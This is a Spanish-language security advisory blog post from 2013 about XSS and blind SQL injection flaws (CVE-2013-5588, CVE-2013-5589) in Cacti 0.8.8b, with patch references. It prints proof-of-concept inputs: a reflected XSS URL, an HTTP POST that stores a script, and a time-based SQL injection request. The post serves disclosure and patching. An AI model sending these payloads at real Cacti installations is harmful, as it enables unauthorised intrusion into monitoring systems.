sábado, 31 de agosto de 2013

Múltiples vulnerabilidades en Cacti

Se han corregido múltiples fallos de seguridad en la última versión de Cacti (0.8.8b). Los errores se corresponden con una falta de filtrado adecuado en los parámetros de entrada que podrían permitir a un atacante inyectar código Javascript y SQL.

Cacti es un software especialmente diseñado para crear gráficas de monitorización mediante los datos obtenidos por diferentes herramientas que emplean el estándar RRDtool. Es uno de los sistemas de creación de gráficas más empleado en el mundo de la administración de sistemas y puede encontrarse como parte fundamental de otros programas.

Los errores se detallan a continuación:

  • CVE-2013-5588 - Cross-site-scripting no persistente

El parámetro "step" de la página "/install/index.php" sería vulnerable a XSS reflejado.
Ejemplo:
http://<IP>/cacti/install/index.php?x=52&y=21&step="><script>alert(12345)</script>

  • CVE-2013-5588 - Cross-site-scripting persistente

En este caso el parámetro "id" de la página "/cacti/host.php" sería vulnerable a XSS persistente. La siguiente petición POST sirve como prueba de concepto:

POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

id=<script>alert(12345)</script>&save_component_host=1&action=save

Una vez hecha la petición anterior, accedemos a
http://<IP>/cacti/utilities.php?tail_lines=500&message_type=-1&go=Go&refresh=60&reverse=1&filter=12345&page=1&action=view_logfile
y podremos ver la ventana emergente que demuestra el XSS.

  • CVE-2013-5589 - Blind SQL injection

El parámetro "id" de la página "/install/index.php" además sería vulnerable a una inyección sql ciega , esto se debe a que no se filtra correctamente este parámetro cuando se le pasa a la función api_device_save() del script lib/api_device.php. Sirva como POC la siguiente petición:

POST /cacti/host.php HTTP/1.1
Host: <IP>
Cookie: Cacti=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

id=-1 AND BENCHMARK(1000000,MD5(1))&save_component_host=1&action=save

Se han publicado parches que solucionan dichos errores y que se encuentran disponibles a través del repositorio svn de cacti, concretamente las revisiones r7420 y r7421.

Más información:

Multiple vulnerabilities in Cacti 0.8.8b and lower

Bug #0002383 : Sanitize the step and id variables

Bug #0002383 : Sanitize the step and id variables same as R#7420 for 089



Fernando Castillo

No hay comentarios:

Publicar un comentario en la entrada